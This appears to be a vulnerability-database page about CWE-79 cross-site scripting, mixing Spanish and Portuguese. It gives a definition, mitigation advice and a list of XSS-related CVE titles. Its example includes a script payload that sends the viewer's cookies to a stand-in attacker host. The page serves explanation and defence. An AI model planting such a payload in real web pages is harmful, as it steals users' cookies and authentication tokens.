Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35714MEDIUMWordPress Idyllic theme <= 1.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-101935MEDIUMEcho Knowledge Base <= 17.214.0 - Reflected Cross-Site Scripting via 'new_kb_config' ParameterEPSS 0.3%CVE-2024-37221MEDIUMWordPress Kimili Flash Embed plugin <= 2.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51787MEDIUMWordPress ElementsReady Addons for Elementor plugin <= 6.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-108260HIGH@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSSEPSS 0.3%CVE-2024-36384MEDIUMPointsharp Cryptshare Server before 7.0.0 has an XSS issue that is related to notification messages.EPSS 0.3%CVE-2025-3840LOWImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2025-4479MEDIUMElementsKit Lite <= 3.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Comparison WidgetEPSS 0.3%CVE-2024-51584MEDIUMWordPress Marquee Elementor with Posts plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5338MEDIUMRoyal Elementor Addons <= 1.7.1028 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2026-108935MEDIUMEdimax BR-6208AC Port Forwarding formPortFw cross site scriptingEPSS 0.3%CVE-2025-8579MEDIUMInappropriate implementation in Picture In Picture in Google Chrome prior to 139.0.7258.66 allowed a remote attacker who convinced a user toEPSS 0.3%CVE-2024-51673MEDIUMWordPress HT Politic plugin <= 2.4.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-49575HIGHXSS vulnerability in VX Search EnterpriseEPSS 0.3%CVE-2025-6537MEDIUMNamasha By Mdesign <= 1.2.00 - Authenticated (Contributor+) Stored Cross-Site Scripting via playicon_title ParameterEPSS 0.3%CVE-2024-52419MEDIUMWordPress Copy Anything to Clipboard plugin <= 4.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-10383MEDIUMContest Gallery – Upload, Vote & Sell with PayPal and Stripe <= 27.0.2 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-112031MEDIUMChamilo LMS Ticket TicketManager.php addProject cross site scriptingEPSS 0.3%CVE-2025-30935MEDIUMWordPress Contact Form plugin <= 2.0.12 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-7501MEDIUMLinkStackOrg LinkStack UserController.php editPage cross site scriptingEPSS 0.3%